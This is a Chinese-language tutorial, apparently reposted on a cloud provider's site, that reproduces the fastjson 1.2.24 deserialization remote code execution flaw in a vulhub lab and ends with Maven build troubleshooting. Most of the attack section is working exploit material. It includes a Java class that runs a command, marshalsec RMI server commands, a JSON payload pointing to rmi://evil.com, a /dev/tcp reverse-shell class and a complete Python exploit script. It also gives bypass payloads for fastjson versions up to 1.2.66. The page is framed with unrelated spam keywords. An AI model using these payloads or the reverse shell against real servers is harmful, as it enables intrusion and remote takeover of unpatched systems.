中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎么解析fastjson 1.2.24 反序列化RCE漏洞復現

發布時間:2021-12-14 10:11:43 來源:億速云 閱讀:142 作者:柒染 欄目:網絡管理

本篇文章為大家展示了怎么解析fastjson 1.2.24 反序列化RCE漏洞復現,內容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細介紹希望你能有所收獲。

fastjson 1.2.24 反序列化導致任意命令執行漏洞

Port : 8090

fastjson 在解析 json 的過程中,支持使用 autoType 來實例化某一個具體的類,并調用該類的 set/get 方法來訪問屬性。通過查找代碼中相關的方法,即可構造出一些惡意利用鏈。

根據官方給出的補丁文件,主要的更新在這個 checkAutoType 函數上,而這個函數的主要功能就是添加了黑名單,將一些常用的反序列化利用庫都添加到黑名單中。

漏洞環境

如下測試環境借助 vulhub 的 docker 鏡像,附上 P 師傅的鏈接:https://github.com/vulhub/vulhub

運行測試環境:

docker-compose up -d

環境運行后,訪問 http://your-ip:8090即可看到 JSON 格式的輸出。

怎么解析fastjson 1.2.24 反序列化RCE漏洞復現

我們向這個地址 POST 一個 JSON 對象,即可更新服務端的信息:

curl http://your-ip:8090/-H "Content-Type: application/json" --data '{"name":"hello", "age":20}'

漏洞復現

因為目標環境是 Java 8u102,沒有 com.sun.jndi.rmi.object.trustURLCodebase的限制,我們可以使用 com.sun.rowset.JdbcRowSetImpl的利用鏈,借助 JNDI 注入來執行命令。

首先編譯并上傳命令執行代碼,如 http://x.x.x.x:8989/TouchFile.class

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash","-c","touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

怎么解析fastjson 1.2.24 反序列化RCE漏洞復現

怎么解析fastjson 1.2.24 反序列化RCE漏洞復現怎么解析fastjson 1.2.24 反序列化RCE漏洞復現

注意:

  • String commands 在部分環境下需要添加 bash -c ,否則無法執行命令。

  • 如果沒有 web 服務,其實可以通過 php -S 0.0.0.0: port或者 python -m SimpleHTTPServer port臨時搭建一個 web 服務器,其發布目錄即當前執行目錄。

然后我們借助 marshalsec項目,啟動一個 RMI 服務器,監聽 9999 端口,并制定加載遠程類 TouchFile.class

如果沒有 maven 環境,需要安裝一下,如下是安裝步驟(以 win10 為例):

  1. 從官網下載安裝包:apache-maven-3.6.3-bin.zip

  2. 解壓 apache-maven-3.6.3-bin.zip

  3. 配置環境變量,MAVEN_HOME為解壓后的根目錄,我們最終需要將 %MAVEN_HOME%\bin;加到 Path 全局變量下。
    怎么解析fastjson 1.2.24 反序列化RCE漏洞復現

  4. 驗證是否成功,如果無報錯,則執行成功,例如:

C:\Users\XXXX> mvn -version
Apache Maven 3.6.3 (cecedd343002696d0abb50b32b541b8a6ba2883f)
Maven home: D:\System_Relation\apache-maven-3.6.3\bin\..
Java version: 1.7.0_79, vendor: Oracle Corporation, runtime: D:\Program Files\Java\jdk1.7.0_79\jre
Default locale: zh_CN, platform encoding: GBK
OS name: "windows 8.1", version: "6.3", arch: "amd64", family: "windows"
  1. 通過 git clone 或者直接下載壓縮包的方式,將項目源代碼完成的克隆下來
    怎么解析fastjson 1.2.24 反序列化RCE漏洞復現

  2. 在項目目錄下,直接編譯。
    怎么解析fastjson 1.2.24 反序列化RCE漏洞復現

  3. 最終會生成 marshalsec-0.0.3-SNAPSHOT-all.jar這樣一個文件
    怎么解析fastjson 1.2.24 反序列化RCE漏洞復現

  4. 將生成的 marshalsec-0.0.3-SNAPSHOT-all.jar包部署到公網的一臺 VPS 上,執行如下腳本

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://x.x.x.x:port/#TouchFile" 9999

如果上述的步驟一直不成功,可以直接使用別人已編譯好的 jar 包,推薦一個 github項目,選擇【fastjson】=>【marshalsec-0.0.3-SNAPSHOT-all.jar 】:

  • 漏洞利用腳本庫注意:該 jar 包使用 jdk 1.8 編譯。

向靶場服務器發送Payload,帶上 RMI 的地址:

POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/TouchFile",
        "autoCommit":true
    }
}

怎么解析fastjson 1.2.24 反序列化RCE漏洞復現

怎么解析fastjson 1.2.24 反序列化RCE漏洞復現

可見,命令 touch /tmp/success已成功執行:怎么解析fastjson 1.2.24 反序列化RCE漏洞復現

引申:

既然可以執行命令,自然可以反彈 shell,只需要修改之前的 Touch_File.java 中的 command 部分即可。以下是代碼參考:

// javac shell_re.java
 import java.lang.Runtime;
 import java.lang.Process;
 
 public class shell_re {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/19527;cat <&5 | while read line; do $line 2>&5 >&amp5; done"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
 }

反彈 shell 成功:

怎么解析fastjson 1.2.24 反序列化RCE漏洞復現

EXP

fastjson<=1.2.24

exphub

#!/usr/bin/python3
# -*- coding:utf-8 -*-
# author:zhzyker
# from:https://github.com/zhzyker/exphub

import sys
import requests

if len(sys.argv)!=3:
    print('+------------------------------------------------------------------------------------+')
    print('+ DES: by zhzyker as https://github.com/zhzyker/exphub                               +')
    print('+      RMIServer: rmi://ip:port/exp                                                  +')
    print('+      LDAPServer: ldap://ip:port/exp                                                +')
    print('+------------------------------------------------------------------------------------+')
    print('+ USE: python3 <filename> <target-ip> <RMI/LDAPServer>                               +')
    print('+ EXP: python3 fastjson-1.2.24_rce.py http://1.1.1.1:8080/ ldap://2.2.2.2:88/Object  +')
    print('+ VER: fastjson<=1.2.24                                                              +')
    print('+------------------------------------------------------------------------------------+')
    sys.exit()

url = sys.argv[1]
server = sys.argv[2]

headers = {
    'Host': "127.0.0.1",
    'Content-Type': "application/json",
    'Accept-Encoding': "gzip, deflate",
    'Connection': "close",
    'Accept': "*/*",
    'User-Agent': "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36"
    }
    
payload = """
    {
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"%s",
            "autoCommit":true
        }
    }
    """ %server

try:
    r = requests.post(url, payload, headers=headers, timeout=10)
    print ("[+] RMI/LDAP Send Success ")
except:
    print ("[-] RMI/LDAP Send Failed ")

此外還有其他版本的 Exp,這里不再一一列舉。單獨列一下 payload:

fastjson<=1.2.41
payload = """
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"%s", "autoCommit":true}
""" %server
fastjson<=1.2.42
payload = """
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"%s", "autoCommit":true}
""" %server
fastjson<=1.2.43
payload = """
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"%s", "autoCommit":true}
""" %server
fastjson<=1.2.45
payload = """
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"%s"}}
""" %server
fastjson<=1.2.47
payload = """
{
"a": {
"@type": "java.lang.Class", 
"val": "com.sun.rowset.JdbcRowSetImpl"
}, 
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl", 
"dataSourceName": "%s", 
"autoCommit": true
}
}
""" %server
fastjson<=1.2.62
payload = """
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"%s"}
""" %server
fastjson<=1.2.66
payload = """
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"%s"}
""" %server

安裝過程中的故障

Q1: maven-surefire-plugin(2.19.1) 無法通過 pom.xml 安裝。

怎么解析fastjson 1.2.24 反序列化RCE漏洞復現

A1:由于官網對這些插件的及時更新,而 pom.xml 中的鏈接已無法獲取到對應的版本:

怎么解析fastjson 1.2.24 反序列化RCE漏洞復現

截至我寫這篇文章時,官網推薦的寫法已變成 3.0.0-M5

怎么解析fastjson 1.2.24 反序列化RCE漏洞復現

因此可以通過以下方式來解決

  1. 離線下載的方式,下載老插件

  2. (推薦)通過配置 mirror 鏡像來解決這個,參考資料:https://developer.aliyun.com/article/613873

Q2: IDEA build 項目時,提示“[ERROR] Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:3.1:compile (default-compile) on project marshalsec: Fatal error compiling: 無效的目標發行版: 1.8 -> [Help 1]

A2:通過調整 JDK 版本解決,參考鏈接:https://www.cnblogs.com/shenrong/p/7129210.htmlhttps://blog.csdn.net/fanrenxiang/article/details/80864908

Q3: IDEA build 項目時,提示 “Failed to execute goal org.apache.maven.plugins:maven-surefire-plugin:2.19.1:test (default-test) on project marshalsec: There are test failures

怎么解析fastjson 1.2.24 反序列化RCE漏洞復現

A3:surefire 是一個測試插件,默認情況下,surefire 會執行文件名以 Test 開頭或結尾的測試用例,或者是以 TestCase 結尾的測試用例。其實可以跳過該步驟。參考鏈接:https://www.cnblogs.com/lxcy/p/8279899.html

怎么解析fastjson 1.2.24 反序列化RCE漏洞復現

上述內容就是怎么解析fastjson 1.2.24 反序列化RCE漏洞復現,你們學到知識或技能了嗎?如果還想學到更多技能或者豐富自己的知識儲備,歡迎關注億速云行業資訊頻道。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

玉林市| 青阳县| 佛山市| 五大连池市| 南郑县| 静宁县| 扬中市| 山西省| 云浮市| 来安县| 石河子市| 龙胜| 芜湖市| 通海县| 平顺县| 从江县| 荃湾区| 稷山县| 上饶县| 筠连县| 洛扎县| 六盘水市| 巴楚县| 大宁县| 肥城市| 新乡市| 玛沁县| 开阳县| 石门县| 河源市| 舒城县| 闻喜县| 兴义市| 漳浦县| 墨江| 长寿区| 射阳县| 任丘市| 内丘县| 准格尔旗| 洛浦县|